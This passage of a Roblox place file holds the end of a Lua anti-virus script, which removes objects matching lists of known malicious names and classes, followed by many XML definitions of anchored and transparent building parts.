--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1079">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>185.199997</X>
					<Y>4.4000001</Y>
					<Z>220.5</Z>
					<R00>0</R00>
					<R01>1</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>69</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1080">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>250.5</X>
					<Y>10</Y>
					<Z>185.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>9</X>
					<Y>2.4000001</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1081">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>0</X>
					<Y>0.200000003</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">Base</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>512</X>
					<Y>0.400000006</Y>
					<Z>512</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1082">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>157.5</X>
					<Y>4.4000001</Y>
					<Z>30.2000008</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>0</R20>
					<R21>1</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>197</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1083">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>30.2000008</X>
					<Y>4.4000001</Y>
					<Z>143</Z>
					<R00>0</R00>
					<R01>1</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>226</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1084">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>41</X>
					<Y>4.4000001</Y>
					<Z>30.2000008</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>0</R20>
					<R21>1</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>20</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1085">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004921</X>
					<Y>5.79972363</Y>
					<Z>7.99983025</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00063904922</X>
					<Y>-0.00294600334</Y>
					<Z>0.000365937856</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00429883227</X>
					<Y>-0.00244695065</Y>
					<Z>0.00617989711</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1086">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.000412</X>
					<Y>8.1997366</Y>
					<Z>9.99964142</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>4.58711947e-005</X>
					<Y>0.0014567984</Y>
					<Z>-0.00145560782</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00626180787</X>
					<Y>-0.0056236852</Y>
					<Z>-0.00274604745</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1087">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36</X>
					<Y>0.999830127</Y>
					<Z>25.9999619</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1088">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000114</X>
					<Y>3.39975309</Y>
					<Z>25.9999714</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1089">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000076</X>
					<Y>2.19983196</Y>
					<Z>25.9999619</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1090">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000534</X>
					<Y>0.999330401</Y>
					<Z>23.9998703</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1091">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>36.0000114</X>
					<Y>4.59976864</Y>
					<Z>25.9999714</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
